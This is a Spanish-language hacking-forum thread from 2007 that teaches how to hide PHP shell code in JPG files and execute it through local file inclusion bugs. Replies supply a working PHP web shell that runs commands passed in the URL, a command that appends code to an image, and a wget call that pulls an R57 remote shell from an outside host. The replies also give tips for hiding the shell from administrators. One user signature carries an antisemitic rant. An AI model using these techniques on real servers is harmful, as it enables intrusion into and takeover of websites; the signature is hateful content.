elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:48  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Local JPG shell Inclusion
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Local JPG shell Inclusion  (Leído 15,879 veces)
codebreak

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Local JPG shell Inclusion
« en: 29 Enero 2007, 21:53 »

Este tutorial lo hice el otro día y lo mande a milw0rm, pero recién hoy lo subieron, ajajaj.

Como ustedes deben saber ya, los Local File Inclusion difieren de los comúnmente abusados Remote File Inclusion en el hecho de que no se puede ejecutar código (shells o demases) que estén alojados en otras webs remotas. Debido a esto, las formas mas comunes de abusar de este bug, es mediante la inyección de código PHP en los logs de los servidores o simplemente mediante la inclusion de archivos locales que posean info valiosa (/etc/passwd o similar).

Ahora, una de las razones por la cual esta vulnerabilidad esta poco "masificada" (en comparación al RFI) es principalmente debido al hecho de que poco o nada se puede hacer, pues bien muchas veces los directorios logs no son accesibles y en muchas otras la información "relevante" que se puede obtener, es demasiado incompleta como para poder sacar algún provecho.

Debido a eso, se me ocurrió entonces ver que pasa si uno inyecta código PHP en los comentarios de los JPG's. No estoy hablando de agarrar una shell en .txt y nombrarla .jpg, pues eso no nos va a servir, ya que lo que deseamos es poder ejecutar esa shell de modo local y por ende, debemos subirla al servidor. ¿Como subimos una shell .jpg al servidor?.. Haciendo un .jpg valido, de modo que lo subamos, en el caso de poderse, mediante cualquier aplicación web (foros, guestbooks o demases).

Como muchos saben, los JPG's tienen espacio para comentarios (ejemplo: cuando sacan fotos, y dice el modelo y marca de la cámara con que fue sacada).. entonces.. que pasa si inyectamos PHP ahí?. En el video que voy a adjuntar, explica paso a paso como realizar eso. Se puede hacer uso de un editor hexadecimal para lograrlo, pero es mas cómodo mediante una aplicación como la que incluyo pues, aparte de ser mas rápido, el comentario que incluye no es visto en las propiedades de la imagen, así que es incluso mas "oculto".

Así que, como muestra este video, cualquier sitio web con error de LFI o RFI y que incluya algún foro o similar, donde podamos subir imágenes (ejemplo: avatar) se va a ver en un serio peligro, pues podremos incluir cuanto código queramos y ejecutarlos sin problema de manera local.

Espero les guste el video.

Entren aca:
http://www.milw0rm.com/author/972
Hagan click a "Local JPG shell Inclusion (LFI using php injected JPG)"

Saludos  :D
En línea



W4ck1ng Team Member
GroK


Desconectado Desconectado

Mensajes: 680


...I have become comfortably numb...


Ver Perfil
Re: Local JPG shell Inclusion
« Respuesta #1 en: 29 Enero 2007, 22:16 »

Plas plas plas :D :D Muy bueno, muchas gracias por el aporte.

Saludos
En línea

"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant

Novlucker
Ninja y
Ex-Staff
*
Desconectado Desconectado

Mensajes: 10.239


Yo que tu lo pienso dos veces


Ver Perfil
Re: Local JPG shell Inclusion
« Respuesta #2 en: 29 Enero 2007, 23:00 »

Nice!!  :D

Muy interesante.... me gusto mucho

salu2
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
http://twitter.com/novlucker

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

kicking people

Desconectado Desconectado

Mensajes: 211


Ver Perfil
Re: Local JPG shell Inclusion
« Respuesta #3 en: 28 Febrero 2007, 05:21 »

Sencillamente perfecto, un tema algo complejo pero fácil de aprender gracias a la explicación que le das.  :o

Felicitaciones y saludos.
En línea
Kintaro

Desconectado Desconectado

Mensajes: 74



Ver Perfil
Re: Local JPG shell Inclusion
« Respuesta #4 en: 14 Marzo 2007, 05:17 »

que bueno chico, el primer ejemplo que vi de lfi en jpg, excelente !!!
En línea

¡Benkyo, benkyo, benkyo!
OzX


Desconectado Desconectado

Mensajes: 397


[NuKe] Team


Ver Perfil WWW
Re: Local JPG shell Inclusion
« Respuesta #5 en: 25 Marzo 2007, 23:25 »

chico a menos que seas codebreak.

codebreak es el autor de este tutorial.

a menos que tengas doble nick. :D
En línea

arabik

Desconectado Desconectado

Mensajes: 183


0 = 1+(-1)


Ver Perfil
Re: Local JPG shell Inclusion
« Respuesta #6 en: 26 Marzo 2007, 00:48 »

si que es el

en el video aprace el nombre de codebeak pero si te fijas bien tambien el de chiko

por cierto muy buena info

gracias
« Última modificación: 26 Marzo 2007, 00:50 por arabik » En línea

subsecretario de defensa de eeuu, judio. presidente del banco mundial, judio. familia mas rica de russia judia. el tio mas rico e belgica judio, director del washintong post judio..............LO DE NO TENER UN PAIS ASTA EL 1947 NO SE SI ES UN INCOMBENIENTE O UNA VENTAJA "teniendo paisanos en cargos tan importantes y con tanto poder cualquiera les dice que cumplan las resoluciones de la o.n.u"
Azielito
no es
CoAdmin
***
Desconectado Desconectado

Mensajes: 9.114


>.<


Ver Perfil WWW
Re: Local JPG shell Inclusion
« Respuesta #7 en: 30 Marzo 2007, 00:04 »

Muy bueno, lo acabo de probar, crei que podia tener problemas con un sistema que estoy haciendo en PHP pero nada, salio limpio del test, sin embargo, he hecho los ejemplos y funciona a la perfeccion =)


solo como complemento, puedes enviar en una variable lo que vas a ejecutar =D
Código:
<?php
echo "<hr><pre>";
$ex = $_GET['cmd'];
system($ex);
echo "</pre><hr>";
exit;
?>

y si que gusta >.<

claro, hace falta poner el filtro para las dobles barras y eso, pero funciona muy bien :)
« Última modificación: 30 Marzo 2007, 00:06 por Azielito » En línea

cacolo

Desconectado Desconectado

Mensajes: 155


Motocross RiDer! / Registrado : 06 Abril 2006


Ver Perfil
Re: Local JPG shell Inclusion
« Respuesta #8 en: 30 Marzo 2007, 01:10 »

Muy bueno, le estuve echando un ojo, pero con mi poca experiencia me quedo una duda, Solo sirven para poder editar el index? o por ejemplo se puede colar algun troyano y eso por la foto.
En línea



satan69


Desconectado Desconectado

Mensajes: 341



Ver Perfil
Re: Local JPG shell Inclusion
« Respuesta #9 en: 30 Marzo 2007, 01:34 »

Muy bueno, le estuve echando un ojo, pero con mi poca experiencia me quedo una duda, Solo sirven para poder editar el index? o por ejemplo se puede colar algun troyano y eso por la foto.


prix... teniendo acceso a cambiar el index poder hacer lo que quieras... hasta podes subir una shell y ponerle extension .php
asi tienes acceso mas directo al servidor
En línea

NewLog


Desconectado Desconectado

Mensajes: 327



Ver Perfil WWW
Re: Local JPG shell Inclusion
« Respuesta #10 en: 30 Marzo 2007, 23:39 »

Impresionante...
En línea
R-Q-X

Desconectado Desconectado

Mensajes: 43



Ver Perfil
Re: Local JPG shell Inclusion
« Respuesta #11 en: 10 Mayo 2007, 17:46 »

se q lo q les voy a pedir es algo noob pero estoy buscando un editor de comentarios para jpg y no encuentro¬¬..baje el q utiliza codebreak y adivinen q=?? no me anda..dice q no se puede abrir. busq otros y solo encontre uno q en todoas las pags q lo veo tienen roto el enlace de descarga....si alguien me puede pasar algun link para bajar un editor q ande se los agradeceria mucho!
En línea

Que fue lo mas inteligente que salio de la boca de una mujer?
la p*j* de A.Einstein
WHK
吴阿卡
Ex-Staff
*
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Local JPG shell Inclusion
« Respuesta #12 en: 11 Mayo 2007, 05:51 »

No es necesario usar un editor de comentarios para eso... solo escribe el codigo en un texto y luego ejecutas type texto >> imagen.jpg y veras que el codigo se incrusta dentro del jpg sin modificar la imagen.
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Local JPG shell Inclusion
« Respuesta #13 en: 12 Mayo 2007, 15:00 »

Claro, al igual que sucede con cualquier binario. Una técnica muy conocida es insertar la configuración del troyano al final de este, por ejemplo, <ip>127.0.0.1</ip>, habiendolo codificado previamente...
« Última modificación: 14 Junio 2007, 06:02 por ANELKAOS » En línea
WHK
吴阿卡
Ex-Staff
*
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Local JPG shell Inclusion
« Respuesta #14 en: 16 Mayo 2007, 03:34 »

abres el notepad y escribes:
<? system("cmd"); die; ?>
y lo guardas como inject.txt
Despues abres la consola de comandos y ejecutas:
type inject.txt >> imagen.jpg
Donde imagen.jpg puede ser tu avatar.

Veras que si abres la imagen se verá normal pero si lo abres con el block de notas podras ver el codigo injectado...
En realidad lo unico que le importa al apache es que el comando se encuentre dentro de lo que buelcas en pantalla como por ejemplo un zip.... index.php?file=demo.zip o index.php?file_path=http://web.iespana.es/inject.mp3

O puedes injectar un <? ob_clean(); ?> y a partir de eso le jalas un R57 o un C99 Shell si es que no te permite llamar archivos externos al servidor. A veces tambien puedes hacerlo desde un simple XSS injectando codigos PHP para ser ejecutados junto con el XSS.
O desde un desfacing: Echo ^<? system("cmd"); die; ?^> >> barner.gif para no llamar la atención desfaceando el index o cualquier otra sección y hacemos durar mas la shell  :P luego solo basta con llamar a barner.gif?cmd=wget -c -t0 http://pagina/R57.php o le ponemos login.php para no levantar sospechas  :) o jalamos el netcat directamente si el server es Unix.



Siempre y cuando el servidor te permita un safe off (Configuración que impide la ejecución de este tipo de codigos.) Por eso dicen que un administrador preparado es un servidor seguro.
« Última modificación: 16 Mayo 2007, 03:59 por WHK » En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[AYUDA] Shell local.
Programación Visual Basic
79137913 2 502 Último mensaje 2 Febrero 2011, 16:22
por 79137913
Inclusión de ficheros en PHP
PHP
madpitbull_99 3 1,490 Último mensaje 26 Abril 2011, 13:26
por madpitbull_99
Inclusión mutua de clases C++
Programación C/C++
darkvidhack 1 366 Último mensaje 26 Diciembre 2011, 17:30
por darkvidhack
[SC] Simple Local Shell
Programación Visual Basic
Jhonjhon_123 10 732 Último mensaje 8 Enero 2012, 17:57
por Jhonjhon_123
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines